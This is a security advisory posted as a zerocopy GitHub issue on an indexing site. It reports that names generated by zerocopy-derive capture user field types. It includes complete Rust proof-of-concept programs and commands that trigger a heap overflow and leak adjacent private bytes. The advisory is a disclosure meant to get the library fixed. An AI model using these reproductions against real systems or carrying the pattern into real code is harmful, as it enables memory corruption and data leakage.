google / google/zerocopy

Security Advisory: Generated helper names change field types and permit heap buffer overflows

Open
#3,633 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
Rust
Stars
2.6k
Forks
179
Avg merge
1d 19h
Merged PRs (30d)
29

Description

*The following was reported by OpenAI via email:*

- **Vulnerability Type:** Unsafe derive expansion / heap buffer overflow / information disclosure
- **Affected Software:** zerocopy-derive
- **Date:** September 2026
- **Discoverer:** OpenAI (OutboundDisclosures@openai.com)

## Summary

`zerocopy-derive` introduces helper type names into scopes where it also resolves application field types. If an unqualified field type has the same name as a generated helper, the derived implementation can describe the helper instead of the actual field.

In the first reproduction, `KnownLayout` omits an eight-byte header from its layout calculation. `new_box_zeroed_with_elems(1)` then allocates one byte for a nine-byte object, and `zero()` writes past the allocation. Native AddressSanitizer confirms the heap buffer overflow. The same incorrect layout lets `ref_from_bytes_with_elems` accept a one-byte input as a nine-byte object; a native parser demonstration returns seven adjacent private bytes. A second reproduction shows `TryFromBytes` accepting an invalid boolean because a generated integer alias captures the boolean field's type name.

**Threat model:** This vulnerability affects applications whose compiled schemas contain colliding, unqualified type names such as `__Zerocopy_Field_header` or `___ZerocopyTagPrimitive`. Given such a schema, an attacker can supply bytes or trailing-element counts to the affected public APIs and trigger memory corruption or disclosure. These names are unusual, which limits likely exposure; network input alone cannot introduce the required type declaration.

**Affected version:** Confirmed with published `zerocopy-derive 0.8.56`, used through `zerocopy 0.8.56`. Other versions have not been exhaustively tested.

**Environment:** macOS arm64 (`aarch64-apple-darwin`), Rust 1.98.1 for native runs, and `nightly-2026-09-04` (`rustc 1.100.0-nightly`, `miri 0.1.0`) for Miri and AddressSanitizer.

## Sketch of the attack

The application defines an eight-byte type named `__Zerocopy_Field_header` and uses it as the `header` field of a struct with a trailing byte slice. `KnownLayout` generates a zero-sized field marker with that same name. The layout calculation resolves the copied field type to the marker, so it accounts for the trailing slice but omits the header.

```rust
let mut packet = Packet::new_box_zeroed_with_elems(1).expect("allocation succeeds");
packet.zero(); // Writes nine bytes into a one-byte allocation.
```

The returned `Box` is already invalid because its allocation is too small. The subsequent write makes the memory corruption directly observable with AddressSanitizer.

## Full repro

Save the following as `Cargo.toml`:

```toml
[package]
name = "zerocopy-helper-capture-repro"
version = "0.1.0"
edition = "2024"

[workspace]

[dependencies]
zerocopy = { version = "=0.8.56", features = ["derive", "std"] }
proc-macro2 = { version = "=1.0.80", default-features = false }
quote = { version = "=1.0.40", default-features = false }
syn = { version = "=2.0.56", default-features = false }
unicode-ident = { version = "=1.0.22", default-features = false }
```

### Heap overflow and adjacent-data disclosure

Save this complete program as `src/bin/field_capture.rs`:

```rust
#![forbid(unsafe_code)]

use zerocopy::{FromBytes, FromZeros, Immutable, KnownLayout};

#[derive(FromBytes, Immutable, KnownLayout)]
#[repr(C)]
struct __Zerocopy_Field_header {
contents: [u8; 8],
}

#[derive(FromBytes, Immutable, KnownLayout)]
#[repr(C)]
struct Packet {
header: __Zerocopy_Field_header,
tail: [u8],
}

#[inline(never)]
fn parse_reply(request: &[u8]) -> Option<[u8; 8]> {
Packet::ref_from_bytes_with_elems(request, 1)
.ok()
.map(|packet| packet.header.contents)
}

fn main() {
match std::env::args().nth(1).as_deref() {
Some("zero") => {
println!(
"zerocopy allocation: {} bytes",
Packet::size_for_metadata(1).expect("small layout fits")
);
let mut packet =
Packet::new_box_zeroed_with_elems(1).expect("small allocation succeeds");
println!("object size: {} bytes", core::mem::size_of_val(&*packet));
std::hint::black_box(&mut packet).zero();
println!("zeroing completed");
}
Some("leak") => {
let request_then_private = std::hint::black_box(*b"QSECRET!!");
println!(
"request={:?}, reply={:?}",
&request_then_private[..1],
parse_reply(&request_then_private[..1])
);
}
_ => {
let input = [0x41_u8];
match Packet::ref_from_bytes_with_elems(&input, 1) {
Ok(packet) => println!(
"accepted {} input byte; object size {} bytes; tail count {}",
input.len(),
core::mem::size_of_val(packet),
packet.tail.len()
),
Err(_) => println!("rejected undersized input"),
}
}
}
}
```

Generate the lockfile and run the allocation case with AddressSanitizer:

```sh
cargo +stable generate-lockfile
RUSTFLAGS='-Zsanitizer=address' CARGO_TARGET_DIR=target-asan \
cargo +nightly-2026-09-04 run --locked \
--target aarch64-apple-darwin --bin field_capture -- zero
```

The run aborts with a heap-buffer-overflow report. Relevant output, with addresses and stack frames omitted:

```text
zerocopy allocation: 1 bytes
object size: 9 bytes
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 9
```

The reported allocation is one byte. The write therefore extends eight bytes past its end. Miri catches the invalid box before `zero()` runs:

```sh
MIRIFLAGS='-Zmiri-strict-provenance' \
cargo +nightly-2026-09-04 miri run --locked --bin field_capture -- zero
```

```text
error: Undefined Behavior: constructing invalid value of type std::boxed::Box: encountered a dangling box (going beyond the bounds of its allocation)
```

Without a mode argument, the program instead parses a one-byte input. Miri rejects the returned reference:

```sh
MIRIFLAGS='-Zmiri-strict-provenance' \
cargo +nightly-2026-09-04 miri run --locked --bin field_capture
```

```text
error: Undefined Behavior: constructing invalid value of type &Packet: encountered a dangling reference (going beyond the bounds of its allocation)
```

The native disclosure case passes only the first byte of a buffer to `parse_reply`:

```sh
cargo +stable run --locked --release --bin field_capture -- leak
```

```text
request=[81], reply=Some([81, 83, 69, 67, 82, 69, 84, 33])
```

The reply contains `QSECRET!`, although the supplied request contains only `Q`. The fixture places synthetic private bytes immediately after the request to demonstrate disclosure outside the input slice; it does not establish arbitrary-address reads.

### Enum validation checks the wrong field type

The same name-resolution failure affects enum validation. Save the following as `src/bin/enum_capture.rs` in the same project:

```rust
#![forbid(unsafe_code)]

use std::hint::black_box;
use zerocopy::{Immutable, KnownLayout, TryFromBytes};

type ___ZerocopyTagPrimitive = bool;

#[derive(Immutable, KnownLayout, TryFromBytes)]
#[repr(u8)]
#[expect(dead_code)]
enum Packet {
Flag(___ZerocopyTagPrimitive),
Other,
}

#[inline(never)]
fn respond(input: &[u8], public_responses: &[u8; 2]) -> Option {
match Packet::try_ref_from_bytes(input).ok()? {
Packet::Flag(flag) => Some(public_responses[*flag as usize]),
Packet::Other => None,
}
}

fn main() {
let value = std::env::args()
.nth(1)
.map(|value| value.parse::().expect("u8 argument"))
.unwrap_or(2);
let input = black_box([0, value]);
let storage = black_box(*b"ABSECRET");
let public = storage[..2]
.try_into()
.expect("two-byte public response table");
match respond(&input, public) {
Some(output) => println!("input={value}, output={output} ({})", output as char),
None => println!("input={value} rejected"),
}
}
```

Run the invalid payload natively and with Miri:

```sh
cargo +stable run --locked --release --bin enum_capture -- 2
MIRIFLAGS='-Zmiri-strict-provenance' \
cargo +nightly-2026-09-04 miri run --locked --bin enum_capture -- 2
```

The native run prints `input=2, output=83 (S)`, reading the first private byte beyond the public `AB` response table. The optimized code relies on the boolean being zero or one; the invalid value breaks that premise. Miri reports:

```text
error: Undefined Behavior: constructing invalid value of type bool: encountered 0x02, but expected a boolean
```

## Root cause

The source links below refer to release revision `6dc429c451bdf1d7202ec1ec2cf426514e00d8eb`.

1. [`KnownLayout` generates field markers](https://github.com/google/zerocopy/blob/6dc429c451bdf1d7202ec1ec2cf426514e00d8eb/zerocopy/zerocopy-derive/src/derive/known_layout.rs#L137-L165) named `__Zerocopy_Field_`. They share a scope with copied user type syntax. For `header`, the new zero-sized marker shadows the application's eight-byte type. The generated `Field::Type` also resolves to the marker, so this projection does not preserve the original type identity.
2. The [layout calculation](https://github.com/google/zerocopy/blob/6dc429c451bdf1d7202ec1ec2cf426514e00d8eb/zerocopy/zerocopy-derive/src/derive/known_layout.rs#L112-L119) uses the captured type's size. [`new_box`](https://github.com/google/zerocopy/blob/6dc429c451bdf1d7202ec1ec2cf426514e00d8eb/zerocopy/src/util/mod.rs#L392-L467) trusts that layout when allocating and constructing `Box`. [`zero`](https://github.com/google/zerocopy/blob/6dc429c451bdf1d7202ec1ec2cf426514e00d8eb/zerocopy/src/lib.rs#L3535-L3548) subsequently uses Rust's actual `size_of_val`, writing nine bytes into the one-byte allocation.
3. For enums, [`generate_variant_structs`](https://github.com/google/zerocopy/blob/6dc429c451bdf1d7202ec1ec2cf426514e00d8eb/zerocopy/zerocopy-derive/src/derive/try_from_bytes.rs#L98-L107) copies field types into a scope containing the generated `___ZerocopyTagPrimitive` integer alias. The application's boolean alias therefore becomes an unrestricted integer in the validator. The generated [field projection](https://github.com/google/zerocopy/blob/6dc429c451bdf1d7202ec1ec2cf426514e00d8eb/zerocopy/zerocopy-derive/src/derive/try_from_bytes.rs#L255-L267) repeats the captured spelling and does not detect the mismatch with the original enum.

A repair should preserve the identity of user field types before introducing helper names and verify generated projections against the actual fields. Changing a helper to another fixed name merely changes which application names collide.

## Related issues

Generated-name collisions are a recognized risk: [issue #1684](https://github.com/google/zerocopy/issues/1684) explicitly requests tests that user-defined names cannot change derive correctness. These reproductions provide concrete successful compilations with memory-safety failures in that area.

This is related to, but does not require, the previously reported [`Self`-dependent discriminant issue](https://github.com/google/zerocopy/issues/3619) or [inherent `pointer_to_metadata` method capture](https://github.com/google/zerocopy/issues/3621). Here the discriminants are ordinary implicit integers, and there are no colliding inherent methods. Preserving `Self` in discriminants or qualifying the metadata trait call leaves these field-type captures unresolved. The struct and enum cases above are grouped as manifestations of the same generated-name capture problem.

## Disclaimer

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

Contributor guide

Open the contributing guide

Research direction

Start with zerocopy-derive/src/derive/known_layout.rs and try_from_bytes.rs, especially the helper generation, layout calculation, and generate_variant_structs paths linked in the report. Reproduce the struct and enum cases with the supplied field_capture.rs and enum_capture.rs programs, then inspect issue #1684 for the requested collision tests. Done means colliding user type names no longer alter derived layouts or validation, with regression coverage for both cases.

Written by the indexing model from the issue text.

Assessment

Tech stack
rust
Domain
compilers, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Active
Clarity
Mostly clear
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.